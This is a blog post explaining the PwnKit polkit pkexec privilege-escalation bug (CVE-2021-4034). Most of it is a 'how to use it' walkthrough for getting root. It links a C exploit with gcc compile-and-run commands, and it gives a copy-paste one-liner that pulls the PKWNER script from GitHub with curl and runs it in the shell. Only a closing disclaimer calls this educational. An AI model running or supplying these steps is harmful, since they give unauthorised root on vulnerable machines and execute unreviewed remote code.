Newly found security bug in almost all Linux distros.
Tags: linux, webdev, opensource, news
Published: 2022-01-29 05:21:41

January 25, 2022 was special for two reasons. First, it was my sisters birthday, and second, a new major security bug was found in Linux. Bharat Jogi, from Qualys CyberSecurity research, posted a blog which talked about a major bug found in almost all Linux distros. The blog is very technical in nature. Here, I will talk about its implications and what it is. You can read the original blog [here](https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034).

The vulnerability is categorised as privilege escalation, and it very clearly sticks to that definition. In very simple terms, if you have access to a Linux terminal at some user level, this bug will allow you to get root access without anything more than that.


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/mdmrgcsauz4s233iab9k.png)

---

## 1. How it works?

Polkit, aka, Policykit is a system used in Linux operating system to allow communication between privileged and non-privileged processes. In the ideal use case, it will have to access both user level as well as root level processes, and provide some kind of bridge between the processes. The root level processes were suppose to be kept out of reach of the non-root processes, as per the way Linux works.

This vulnerability was able to use Polkit to execute arbitrary commands with root permission, without initially possessing root permissions. The original exploit is a C program which can be found [here](https://github.com/NirmalScaria/cybersecurity/tree/main/CVE-2021-4034)

---

## 2. How to use it?


There are two ways. The easy way, and the super easy way.

---

### A. The easy way

The easy way uses the below C code, compiles it, and runs it in order to get root access.

![Screenshot of C exploit](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/qlcct1hvym18qwqlo4tz.png)

To use this way, you need the C file on your local machine. Download it from [here](https://github.com/NirmalScaria/cybersecurity/tree/main/CVE-2021-4034) and open terminal in the directory which contain the exploit.c file.

If you simply run `id` you should be able to see which user you are logged in as. 

```
$ id
```
Now compile the exploit file using gcc and save the out file.
```
$ gcc exploit.c -o exploit
```
Now simply run the saved out file and thats all! You should be having a root terminal now.
```
$ ./exploit
```
To verify, you could try running `id` again and see that you have root now.
```
# id
```
Also, notice the **`$`** prompt changed to a **`#`** prompt, which indicates a root terminal. You can exit back to the normal user terminal using `exit` command.
```
# exit
```
---
### B. The super-easy way

This method uses a bash script and you don't even need any file on your local machine. Simply copy and paste the command to terminal and it works!

![Screenshot using PKWNER](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/rf1412z7t5f5w0vwdhih.png)

In this, the PKWNER bash script created by Kim Schulz will be getting used. Our terminal command will get the script from GitHub using `curl` and pipe the fetched code to bash. That results in getting root terminal.

Copy and paste this command to your terminal.
```
$ source <(curl -s https://raw.githubusercontent.com/kimusan/pkwner/main/pkwner.sh))
```

This will execute the PKWNER bash script and give us the terminal with root access.

---

This is probably the easiest and most severe privilege escalation attack ever found in a major operating system. And it has been reported to be successfully possible on almost every Linux distro.

---

**Please be noted that this is purely for educational purpose and make sure you have sufficient permissions before trying it on any machine not owned by you.**